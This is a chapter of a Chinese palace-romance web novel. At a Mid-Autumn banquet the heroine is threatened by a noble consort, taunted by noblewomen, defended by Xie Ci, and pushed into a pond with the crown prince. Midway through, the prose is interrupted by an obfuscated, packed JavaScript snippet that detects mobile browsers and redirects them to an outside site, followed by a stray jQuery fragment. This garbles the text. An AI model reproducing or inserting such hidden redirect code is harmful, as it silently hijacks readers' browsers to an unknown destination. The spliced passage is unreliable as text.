32. 落水
作品:《穿书后和重生的死对头HE了》 中秋雨歇,天碧如洗。
今日花鸟宴,秦冉给苏意晚认真打扮了一番,虽不华丽,却好歹有了个贵族公主的样子。
苏意晚走到镜前,见镜中人脸色虽白,却没了前几日的病气。
简单的双环髻,髻间簪了金枝粉花的步摇,缀着绿松石与珍珠,几缕鸦青发丝垂落耳畔,衬得耳上金环流苏摇曳生姿。
一双杏眼如浸春水,顾盼间似有落英在眸底颤动,鼻若悬胆,唇色淡粉,笑靥浅浅。
她身着淡白交领襦裙,外覆一层流光似的纱衣,腰间系着水蓝与绯红相间的宫绦,绦上坠着红穗与蓝晶,好似广寒宫娥。
正欣赏着自己的美貌,外面传来太监的唱喏:“贵妃娘娘驾到——”
苏意晚心头微动。
贵妃来做什么?
高贵妃穿着一身石榴红的宫装,珠翠环绕,像团烧得正旺的火。
她走进殿里,目光扫过苏意晚的月白裙,嘴角勾起一抹淡笑:“公主的病好得倒快,今日中秋家宴,本宫原本还担心公主要抱恙不去,陛下少不了怪罪本宫照顾不周呢。到底是年轻身体好啊……不过,殿下就打算穿这么素净去赴宴?也不怕被人嘲笑。”
苏意晚心头咋舌。
哪里素净了?这可是她最好的首饰衣裙了。
贵妃莫非是特意来嘲她穷酸的?
“臣女恭迎贵妃娘娘。”苏意晚屈膝行礼,姿态恭谨。
“本宫听说,公主在江南很是自在,农户都把你当活神仙?只是宫里不比江南,神仙也得守宫里的规矩。”
苏意晚抬眼,迎上她的目光:“江南的农户认的不是臣女,是新政。”
高贵妃笑了,像雨打银铃:“反应倒快。那你可知,这宫里的饭,不是那么好吃的。”
她忽然凑近,压低声音,“你在江南帮东宫做事,让本宫哥哥很不满。若你真的识趣,就离东宫的人远些,或许……我还能让你在寿康宫安安稳稳住下去。”
苏意晚心口一沉。
原来她刁难自己,是因为高相。
高相恨谢辞断了他江南的财路,迁怒到自己身上了。
“多谢娘娘提点。”她语气平淡,“臣女做事,问心无愧。”
高贵妃脸上的笑淡了:“出门一遭,倒比先前见你时多了些骨气。可宫中行走,骨气是最不值钱的。还是你以为,太子那个窝囊废护的了你?”
她转身,走到门口,又回头,“花鸟宴上,公主可要好好表现。”
脚步声远了,秦冉才上前:“公主,贵妃这是在威胁你。”
苏意晚走到窗边,望着外面的蓝天,叹了口气。
高贵妃是把自己划为太子党了。
日后的日子,怕是更难了。
……
傍晚时分,花鸟宴开始了。
桂香裹着酒香漫过全场,青玉案上排开银质食器。
宗室勋贵按品级列坐,执盏劝酒时金带钩上的玉坠叮当作响。命妇们霞帔锦衣,鬓边金步摇随着笑语轻晃。
琵琶弦轻拨,箜篌声泠泠。舞姬披着半透明的鲛绡舞衣,旋转时裙摆如月下流萤。
可苏意晚心头着接下来可能会发生的事,只觉得这些热闹像浮在水面的油一样令人厌烦。
入口的软点香糕也是食之无味。
书中和萧彻生情是在宫廷深处的废池,只要今日她不去那处废池,是不是剧情就不会发生?
正想着秦冉在她耳边轻语,“刚才有人来通传,说户部侍郎之女柳云溪想邀您湖心亭一叙。”
柳云溪?这个名字……有点耳熟,可她一时又想不起来是谁。
湖心亭……不是废池。
安全。
本着能交友绝不树敌的原则,苏意晚还是决定去了,并交代秦冉在宴上等她。
谁知刚到湖心亭就看见萧彻被一群贵女围绕在中间。
哄笑声里,萧彻站在原地,面色沉沉,辨不清情绪。
一群贵女围着个身影,领头的正是柳云溪,穿件鹅黄掐金袄,鬓边东珠钗晃得人眼晕。
“瞧瞧咱们的太子殿下,站在这儿跟块木头似的。”
“滇哥哥文武双全,骑射能百步穿杨,诗词能压过翰林,哪点比不上这傻子?依我看,太子之位早该让出来,省得占着茅坑不拉屎。”
这话粗鄙,却引得一阵低笑。
萧彻还是没有动怒,似乎在隐忍不发,等待着什么……
苏意晚登时便知晓,这是有人来故意请她看这出好戏呢。
她想起来了,柳云溪似乎是书中一个痴恋高贵妃之子萧滇的贵女。
她暗道糟了,兜兜转转换了个地方剧情还是要发生了,转头想走。
方转身却被人拉住。
“哟,这不是皇帝新封的宁安公主吗?听说你同太子殿下交好,怎么见他被人刁难,你却躲在这儿看热闹?”
拉住她的人穿着一身粉色宫装,珠翠满头,像棵开得过分的桃花。
“妙容姐姐,这是?”
“这是咱们大庆朝的宁安公主啊?你怎么连公主殿下都不认识?”
苏意晚知道这人是谁了,高相嫡女高妙容。
她什么时候又得罪她了,怎么她说话阴阳怪气的。
高妙容上下打量她:“公主怎么穿得这样素?是寿康宫连件像样的衣裳都没有了?也是,毕竟我姑姑说了,宫里的绫罗绸缎,该紧着有体面的人用。像公主这样不知道打哪个山旮旯里冒出来的,应该是用不习惯好东西的。”
她扯出个淡笑:“素衣自在,高小姐今日穿得这样明艳,想来定能在宴上拔得头筹。”
高妙容果然被带偏了注意力,得意地扬了扬下巴:“那是自然。本小姐可是京城第一贵女。对了,”
她话锋一转,又绕回苏意晚身上,“听说你在江南种地,被那群卑贱的泥腿子奉为神女?哎呀真是可笑,有些人啊,长在乡野上不得台面,田间地头的事也能拿来说嘴。”
“高小姐看不起平民百姓,可正是高小姐看不起的那些泥腿子,撑起了这大庆的江山。”谢辞不知何时出现了,站在了苏意晚的一侧。
高妙容冷讥:“谢大人怎的帮她说话……她就是个没实权的公主,哪值得你交好?”
谢辞上前一步,挡在苏意晚身前,“无论如何,她也是公主,陛下御笔亲封,地位尊贵,况且公主在江南救了上千农户的命。高小姐倒是说说,你做过什么值得骄傲的事?”
谢辞打从江南回来,就被陛下擢升礼部尚书,年纪轻轻,炙手可热,又圣眷正浓。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442146|183762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纵然高妙容有父亲撑腰,也不愿公然和谢辞作对。
想到了接下来会发生的事,她觉得暂时放这个攀龙附凤的野鸡一马也未尝不可。
反正一会儿有她好瞧的。
她忿忿地看了两人一眼,转身走了。
“谢大人这是要为我得罪高相?”她轻声问。
“我这次升官,是圣上有意制衡,今后我与高相更加水火不容,无所谓得罪不得罪。”
“谢大人不去看看太子殿下吗,他好像在被人刁难呢。”
有谢辞替萧彻解围,应该没自己什么事儿了吧。
“他是一国储君,如果连这点上不了台面的伎俩都应对不了,确实该让贤。”
“可他毕竟……”
“晚晚,你跟他相处了这么久了,真觉得他是一个什么都不懂的傻子吗?”
苏意晚怔住了。
谢辞这话什么意思?
他在提点她……谢辞并非痴傻?可书中明明不上这样写的啊……
但细细想来,一切早有端倪。
谢辞被什么人叫走了,留下她在原地发呆。
就在这时,人群中传来惊呼。
“太子殿下落水了!”
池水深,秋意寒,萧彻在水里扑腾着,玄袍吸了水,沉得像块铁。
他一浮一沉,嘴里呛着水,喊不出完整的话:“救……救命……”
围在池边的贵女贵公子们慌了神,却没人敢跳下去。
谁都知道太子痴傻,被废是迟早的事儿,绝对没有前途。且他是高贵妃的眼中钉,救了也落不着好,反而可能被连累。
与此同时,苏意晚脖颈一凉,有人在背后大力推她!
她一时趔趄,跌入池中。
冰冷的池水瞬间裹住苏意晚,像无数根针扎进骨髓。
她呛了好几口水,四肢乱舞,恐惧攫住了她。
她要淹死了!
这个鸟书才不管她会不会水,就知道强制让她走剧情,她是真的会死!
就在这时,她感觉手碰到了一个温热的身体,是萧彻。
他还在扑腾,手胡乱地抓住了她的胳膊。
苏意晚想甩开他,可手不受控制地环住萧彻的腰,脚在水底胡乱蹬着,竟凭着一股本能,把萧彻往池边推去。
她不知道自己是怎么做到的,只知道每划一下,水就往肺里灌一口,胸口像要炸开。
苏意晚的意识渐渐模糊,只觉得身体在往下沉,耳边的惊呼、水声都成了遥远的嗡鸣。
就在她以为要溺死在这池里时,一只温热的手突然环住了她的腰。
那人的味道很熟悉。
是谢辞,他去而复返了。
“抓紧。”谢辞的声音透过水声传来。
他脱了外袍,只穿着里层的青布衫,布料吸水后贴在身上,勾勒出清瘦却挺拔的轮廓,像株被雨打湿的青竹……
苏意晚的手本能地缠上他的脖颈,脸贴在他的胸口,能听见他的心跳,咚咚的。
她看着谢辞的脸。
他的眼神里没有平时的疏离,只有浓得化不开的担忧,要把她整个人都裹住……却让她觉得无比安心。
真神奇,看到谢辞的第一眼,她就知道自己有救了。